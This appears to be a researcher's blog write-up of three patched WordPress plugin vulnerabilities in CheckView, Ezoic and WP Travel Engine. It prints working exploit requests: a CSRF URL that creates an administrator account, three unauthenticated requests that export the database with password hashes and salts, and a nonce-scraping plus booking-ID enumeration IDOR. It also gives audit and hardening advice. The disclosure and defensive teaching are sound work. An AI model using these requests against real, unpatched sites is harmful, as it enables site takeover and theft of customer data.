Usama Arshad. Résumé

WordPress Long read 4 November 2026

Writing

A year of WordPress plugin research: three bugs, one root cause.

Three published CVEs taken apart request by request: an unauthenticated administrator account, a full database export in three HTTP calls, and an IDOR that hands you other people's bookings. Then the corpus behind them, and why they are all the same bug.

WordPressAppSecVulnerability ResearchREST API·4 November 2026

01Where this started

I started pulling WordPress plugins apart in my own time because the economics are absurd. A plugin with 100,000 active installations is written by one or two people, ships on a two-week cadence, and sits in front of customer records, booking data and payment metadata. The attack surface is enormous and the review budget is roughly zero.

A year of that, reported through WPScan under coordinated disclosure, produced 59 assigned CVE IDs across 46 distinct plugins. This post is not a list. It is three of them taken apart properly, because the pattern only becomes obvious once you have seen the same mistake wearing three different outfits.

Everything below is public. All three are patched, the advisories are live, and the vendors shipped fixes before any of it was written down. Nothing here works against an updated site.

The pattern, up front

A plugin exposes an endpoint. It carefully verifies that the request is well formed and that somebody is logged in. It never checks whether that particular user is allowed to do that particular thing to that particular object. Everything below is a variation on that sentence.

02Case one: CheckView, an administrator account from a marker string

CVE-2026-18786 · CVSS 8.8 High · CWE-287 · affected 2.0.29 to 2.3.1 · fixed in 2.3.2

CheckView is an automated testing plugin for WooCommerce and form plugins. Like most plugins with a REST API, it needs its own endpoints to authenticate differently from core WordPress, because its backend calls in from outside a browser session.

The standard way to do that is to hook rest_authentication_errors, look at the request, and decide whether to let it through. CheckView did exactly that. The problem is how it decided.

The root cause

The filter asked one question: does the request URI contain this plugin's namespace string? If yes, it discarded the authentication error and let the request proceed. It never checked which route was actually being dispatched.

THE FILTER ASKS: IS MY PLUGIN'S NAME IN THE URL?

THE FILTER ASKS ONE QUESTION does REQUEST_URI contain "checkview/v1" ? yes -> discard the authentication error IT NEVER ASKS WHICH ROUTE YOU ACTUALLY CALLED

THE ROUTER ASKS: WHICH ROUTE DID YOU CALL? THEY DISAGREE.

That is the whole bug. The authentication filter and the REST router were reading two different things out of the same request. The filter looked at the raw REQUEST_URI as a string. The router resolved the actual route. Put the plugin's namespace somewhere in the URI that the router ignores, and the filter waves you through to a route that has nothing to do with the plugin.

In shape, the vulnerable logic looked like this. Treat it as a reconstruction of the behaviour described in the advisory rather than verbatim vendor source:

php
add_filter( 'rest_authentication_errors', function ( $result ) {
    // "is my plugin mentioned anywhere in this URL?"
    if ( strpos( $_SERVER['REQUEST_URI'], 'checkview/v1' ) !== false ) {
        return null;          // <-- discards the error for ANY route
    }
    return $result;
} );

Returning null from rest_authentication_errors means "no opinion, carry on". For the plugin's own routes that is intended. For /wp-json/wp/v2/users it is a catastrophe, because the thing it discards is the nonce failure that would otherwise stop a cross-site request.

The exploit

Three pieces have to line up:

  1. An invalid nonce on the request, so that core raises the authentication error the filter is about to throw away.
  2. A throwaway query parameter containing the plugin's REST namespace, so the marker check matches. It does not matter which parameter; the router never reads it.
  3. An administrator's session cookie, supplied by the victim's own browser when they visit the attacker's page.

WordPress accepts _method=POST on a GET request as a method override, so the whole thing fits in a URL an administrator can be made to visit:

http
GET /wp-json/wp/v2/users?_method=POST
    &_wpnonce=INVALIDNONCE
    &username=cvpwn
    &email=cvpwn@example.com
    &password=Str0ngPass!123
    &roles[]=administrator
    &cv=/wp-json/checkview/v1          <-- the marker; the router ignores it
HTTP/1.1
Host: victim.example
Cookie: wordpress_logged_in_=
http
HTTP/1.1 201 Created
Location: https://victim.example/wp-json/wp/v2/users/42

{"id":42,"username":"cvpwn","roles":["administrator"]}

The cv= parameter is doing all the work and means nothing. It exists purely so that strpos() returns a non-false value. The route being dispatched is core's user-creation endpoint, which is protected by exactly one thing in this flow, and that one thing has just been discarded.

The advisory notes the same trigger works with plain permalinks and with the marker in the path rather than the query string. There is no single magic URL to filter on, which is why the fix had to be in the logic rather than in a WAF rule.

Why it scores 8.8

It needs an administrator to visit a page, which is why it is not a 9.8. Everything after that is unconditional: a new administrator account, persistent, under attacker control, on a site the attacker never authenticated to. From there it is plugin upload, which is code execution.

The fix in 2.3.2 restricts the filter to the plugin's own resolved routes, which is what it should have been doing from the first commit.

03Case two: Ezoic, a full database export in three requests

CVE-2026-18789 · CVSS 7.5 High · CWE-862 · affected 2.6.35 to 2.23.0 · fixed in 2.23.1

This one needs no victim, no cookie and no interaction. Three unauthenticated HTTP requests, in order, and you have the users table.

THREE REQUESTS. NO CREDENTIALS. NO CLICKS.

POST /ezoic-emote v1/export/initiate 1 · COMMENTS LEAK X-Ezoic-CMS: true option flipped 2 · MODULE ENABLED POST /ezoic-cms v1/export/initiate 3 · FULL DATABASE wp_users.csv · password hashes · reset tokens · auth salts THREE UNAUTHENTICATED REQUESTS

THE THIRD ONE RETURNS WP_USERS.CSV

Request one: the export that was never gated

The plugin registers an export endpoint intended for its own integration, with no authorization check on the route:

http
POST /wp-json/ezoic-emote/v1/export/initiate HTTP/1.1
Host: victim.example
Content-Type: application/json

{}

That alone exports comment data: author emails, IP addresses, comment metadata. Already a disclosure finding, already reportable. But the interesting part is what else the endpoint touches.

Request two: flipping a site option with a header

The same handler inspects a request header and, if present, persistently enables the plugin's CMS module by writing a site option. An unauthenticated request gets to change site configuration:

http
POST /wp-json/ezoic-emote/v1/export/initiate HTTP/1.1
Host: victim.example
X-Ezoic-CMS: true

{}

Nothing in the response signals that anything important happened. The option is now set, and it stays set.

Request three: the part that matters

Enabling the CMS module registers a second export route with a much wider scope. It is now reachable, and it is gated by the same amount of authorization as the first one:

http
POST /wp-json/ezoic-cms/v1/export/initiate HTTP/1.1
Host: victim.example
Content-Type: application/json

{}

This exports the database. Per the advisory, that includes:

  • wp_users.csv, with password hashes and password-reset tokens
  • wp_options.csv, which contains the authentication keys and salts
  • Comment tables with emails and IP addresses
  • The remaining tables

Reset tokens are the detail that turns this from a bad day into a takeover. A hash needs cracking; a valid reset token needs a single request. And the salts in wp_options let an attacker forge authentication cookies directly.

The final problem is where the exports land. If the output directory is inside the web root, the attacker does not even need the export response body. They fetch the CSV.

What makes this a chain rather than three bugs

Individually, each request looks like a medium. Request one leaks comments. Request two flips an option. Request three is only reachable because of request two. Triage that reads each endpoint in isolation scores this a 5 and moves on. The severity lives in the ordering.

04Case three: WP Travel Engine, other people's bookings

CVE-2026-16737 · CVSS 6.5 Medium · CWE-639 · fixed in 6.8.5

The textbook IDOR, included because it shows how a plugin can get authorization right in one place and wrong in another, in the same codebase, for the same data.

WP Travel Engine handles trip bookings. The wte_add_trip_to_cart AJAX action takes a booking identifier and returns the booking. It validates a nonce. It does not check who owns the booking.

Step one: get a nonce

The nonce is not a secret. It is printed into every public trip page so that anonymous visitors can add trips to a cart:

shell
curl -s https://victim.example/trip/some-public-trip/ \
  | grep -oE 'wte[_-]?nonce["\x27]?\s*[:=]\s*["\x27][a-f0-9]+' | head -1

Step two: walk the IDs

Booking identifiers are WordPress post IDs, which are sequential. There is nothing to guess:

http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Content-Type: application/x-www-form-urlencoded

action=wte_add_trip_to_cart&nonce=&booking_id=1337

The response comes back with the billing details, traveller names, trip costs and dates belonging to whoever actually made booking 1337. Increment and repeat for the whole customer base.

The part that proves it was an oversight

The plugin also exposes the same booking data through a REST route, and that route enforces authorization correctly. It returns 401. Somebody understood the requirement, implemented it properly once, and the AJAX path never got the same treatment.

This is the most common shape in my corpus. Not an absence of security awareness, but an inconsistency between two code paths to the same resource. If you are reviewing a plugin, enumerate every path to a given object and compare them against each other. The gaps are where two developers, or one developer two years apart, disagreed.

05The corpus behind the three

Those three are not special. They are representative. Of the 51 CVEs I have catalogued publicly so far, sorted by class:

ClassCountShare
Sensitive data disclosure2549%
Broken access control1325%
Authentication bypass48%
Cross-site scripting36%
Privilege escalation24%
CSRF24%
Open redirect / resource exhaustion24%

And by the access an attacker needs before they start:

Required accessCount
None at all27
Subscriber or above11
Contributor or above5
Author or above3
Vendor or other5

Fifty-three percent require no account. Another 22% need only a Subscriber, which on any site with open registration is the same thing plus one HTTP request. Roughly three quarters are reachable by someone who walked in off the street.

Almost none of these are remote code execution, and that is the point people miss about this category. A booking plugin that returns other customers' bookings is not a dramatic finding. It is a regulatory one. Twenty-five of these are a disclosure notification waiting for someone to notice.

06The same bug in three costumes

Strip the three case studies down and they are the same sentence. The costume depends on which WordPress API the developer reached for.

Costume one: the REST route with no permission callback

register_rest_route() takes a permission_callback, and since WordPress 5.5 omitting it throws a notice. The notice is easy to silence in the worst possible way:

php
// Ships more often than you would like
register_rest_route( 'myplugin/v1', '/export', array(
    'methods'             => 'GET',
    'callback'            => 'myplugin_export_everything',
    'permission_callback' => '__return_true',   // notice silenced, door opened
) );

__return_true is not a permission check. It is the absence of one, spelled in a way that survives code review because it looks like a decision. That is Ezoic's shape.

php
'permission_callback' => function ( WP_REST_Request $req ) {
    return current_user_can( 'export', (int) $req['id'] );
},

Costume two: the nopriv hook nobody took back out

php
add_action( 'wp_ajax_get_booking',        'plugin_get_booking' );  // logged in
add_action( 'wp_ajax_nopriv_get_booking', 'plugin_get_booking' );  // anyone

The _nopriv_ variant exists for genuinely public actions. It gets copy-pasted onto handlers that read private data while someone debugs a logged-out edge case, and it never comes back out. The handler is usually fine for its intended caller; it simply never imagined an unintended one.

Costume three: the nonce mistaken for a permission

The subtlest and the most common, and the one underneath WP Travel Engine. The code looks defensive:

php
function plugin_update_item() {
    check_ajax_referer( 'plugin_nonce', 'security' );   // looks like a check
    $id = (int) $_POST['id'];
    update_post_meta( $id, 'price', $_POST['price'] );  // ...of what, exactly?
    wp_send_json_success();
}

A nonce proves the request came from a page your site rendered. It says nothing about whether this user may touch item $id. Any logged-in Subscriber can load a page that mints a valid nonce and then point the request at somebody else's object. check_ajax_referer appearing in a function is evidence that somebody thought about CSRF, which is a different attack.

The missing line, in all thirteen broken-access-control findings:

php
if ( ! current_user_can( 'edit_post', $id ) ) {
    wp_send_json_error( null, 403 );
}

A PLUGIN SECURITY AUDIT, APPARENTLY

THE PLUGIN CHECKED: is the nonce valid? [x] is the request well-formed? [x] is the user logged in? [x] is the user ALLOWED to do this? [ ]

THREE OUT OF FOUR IS NOT A PASSING GRADE

07How I actually find these

The workflow is deliberately boring, which is why it scales to 46 plugins:

  1. Enumerate the surface. Grep for the four things that create entry points. That list is usually under thirty lines and it is the entire attack surface.
    shell
    grep -rn "register_rest_route"      --include=*.php .
    grep -rn "wp_ajax_nopriv_"          --include=*.php .
    grep -rn "admin_post_nopriv_"       --include=*.php .
    grep -rn "add_shortcode"            --include=*.php .
  2. For each entry, ask one question. Not "is this sanitised" but "which user is allowed to call this, and where is that enforced?" If the answer is a nonce check, you have probably found a bug. If the answer is __return_true, you have definitely found one.
  3. Diff the paths to the same object. WP Travel Engine got it right over REST and wrong over AJAX. Where two code paths reach one resource, compare them.
  4. Reproduce locally. A local WordPress, the plugin, three browser profiles: logged out, Subscriber, Administrator. Call every endpoint as all three. The diff between the first and the third is your finding.
  5. Deduplicate before reporting. Check NVD, the WPScan database and Patchstack for the plugin and version first. Reporting a known bug costs you credibility and the triager an afternoon.
  6. Report privately and publish nothing. WPScan handles vendor coordination and CVE assignment. Nothing goes public until the fix ships, which is why this post exists now and not in August.

Search-engine reconnaissance narrows step one a lot. The queries I actually use are in my public dork library; the WordPress section at the top is the one that feeds this research.

08If you ship a plugin

Four things, in descending order of how much grief they save you:

  • Every permission_callback gets a real capability check against a real object. If you wrote __return_true, you shipped a public endpoint. Make sure you meant to.
  • Never make an authorization decision on a raw string match against the URL. CheckView's filter and WordPress's router were reading different things out of the same request. If you must special-case your own routes, resolve the route first and compare that.
  • Audit every _nopriv_ hook. For each, write a comment explaining why an anonymous caller is acceptable. If you cannot finish the sentence, delete the hook.
  • Check the object, not just the verb. current_user_can('edit_posts') is a role test. current_user_can('edit_post', $id) is an authorization decision. The second argument is where IDOR goes to die.

And one for the people who buy plugins rather than write them: the number of installations tells you about popularity, not about review. Three of the plugins in my corpus had six figures of active installs.

Fifty-one vulnerabilities, 46 plugins, one missing line. The WordPress plugin ecosystem is not insecure because security is hard here. It is insecure because the unsafe thing is shorter to type.

All three vulnerabilities above were reported through WPScan under coordinated disclosure, fixed by their vendors, and published with CVE IDs before this was written. The full log is on the research page.